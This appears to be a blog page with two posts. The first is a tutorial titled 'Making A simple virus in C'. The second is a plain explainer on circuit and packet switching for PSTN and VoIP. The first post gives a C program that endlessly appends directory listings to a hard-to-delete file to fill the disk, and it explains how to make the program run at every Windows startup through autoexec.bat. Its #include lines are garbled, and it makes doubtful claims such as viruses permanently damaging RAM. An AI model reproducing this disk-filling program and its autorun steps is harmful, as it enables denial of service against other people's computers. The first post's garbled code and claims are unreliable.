20110106

Making A simple virus in C

Hi everybody,at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.
Computer virus obviously is a thing that shouldnot be made and used on others computer it is completely illegal in all countries.So make and try this on your own machine.
Now let me explain what do the viruses do.There are several types of computer viruses with different functions(destructive obviously).Some of which delete computers' important files and folders,some change the configuration of your computer system like registry values,some occupy and engulf a large amount of memory space and dump your hard disc.There are some viruses too which can damage your RAM parmanently.
I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc.
The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
The require ment to make this virus is
OS:-Windows98/xp/2000 MS-DOS
Compiler:-Borland C(Which has Dos Shell)
Source Code:-
//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>╚a.exe");
}
}
//END
As you can see this is a very little programe.Compiling the programme we get v.exe file.This is our virus.
How it works?-The system call "dir>>╚a.exe" will execute the dos command 'dir' and ridirect its output toa file ╚a.exe(the symbol ╚ can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of ╚a.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete ╚a.exe from GUI.
For auto running place v.exe in the command folder in windows folder.
In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe.
Each time your window starts v.exe will run automatically.
Try this on your own computer remember the ╚a.exe is the infected file which is growing in size continiously.So to recover, simply delete v.exe and ╚a.exe file from your computer.
For more informaton or any problem please write me.
Bye....
Code:

//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>╚a.exe");
}
}
//END

jai mAta di

20101125

Switching and routing


Switching and routing are technically two different things, but for the sake of simplicity, let us take switches and routers (which are devices that make switching and routing respectively) as devices doing one job: make a link in the connection and forward data from the source to the destination.
Paths or circuits
The important thing to look for in transmitting information over such a complex network is the path or circuit. The devices making up the path are called nodes. For instance, switches, routers and some other network devices, are nodes.

In circuit-switching, this path is decided upon before the data transmission starts. The system decides on which route to follow, based on a resource-optimizing algorithm, and transmission goes according to the path. For the whole length of the communication session between the two communicating bodies, the route is dedicated and exclusive, and released only when the session terminates.
Packets
To be able to understand packet-switching, you need to know what a packet is. The Internet Protocol(IP), just like many other protocols, breaks data into chunks and wraps the chunks into structures called packets. Each packet contains, along with the data load, information about the IP address of the source and the destination nodes, sequence numbers and some other control information. A packet can also be called a segment or datagram.

Once they reach their destination, the packets are reassembled to make up the original data again. It is therefore obvious that, to transmit data in packets, it has to be digital data.

In packet-switching, the packets are sent towards the destination irrespective of each other. Each packet has to find its own route to the destination. There is no predetermined path; the decision as to which node to hop to in the next step is taken only when a node is reached. Each packet finds its way using the information it carries, such as the source and destination IP addresses.

As you must have figured it out already, traditional PSTN phone system uses circuit switching while VoIP uses packet switching.
Brief comparison

* Circuit switching is old and expensive, and it is what PSTN uses. Packet switching is more modern.
* When you are making a PSTN call, you are actually renting the lines, with all it implies. See why international calls are expensive? So if you speak for, say 10 minutes, you pay for ten minutes of dedicated line. You normally speak only when your correspondent is silent, and vice versa. Taking also into consideration the amount of time no one speaks, you finally use much less than half of what you are paying for. With VoIP, you actually can use a network or circuit even if there are other people using it at the same time. There is no circuit dedication. The cost is shared.
* Circuit-switching is more reliable than packet-switching. When you have a circuit dedicated for a session, you are sure to get all information across. When you use a circuit which is open for other services, then there is a big possibility of congestion (which is for a network what a traffic jam is for the road), and hence the delays or even packet loss. This explains the relatively lower quality of VoIP voice compared to PSTN. But you actually have other protocols giving a helping hand in making packet-switching techniques to make connections more reliable. An example is the TCP protocol. Since voice is to some extent tolerant to some packet loss (unless text - since a comma lost can mean a big difference), packet-switching is finally ideal for VoIP.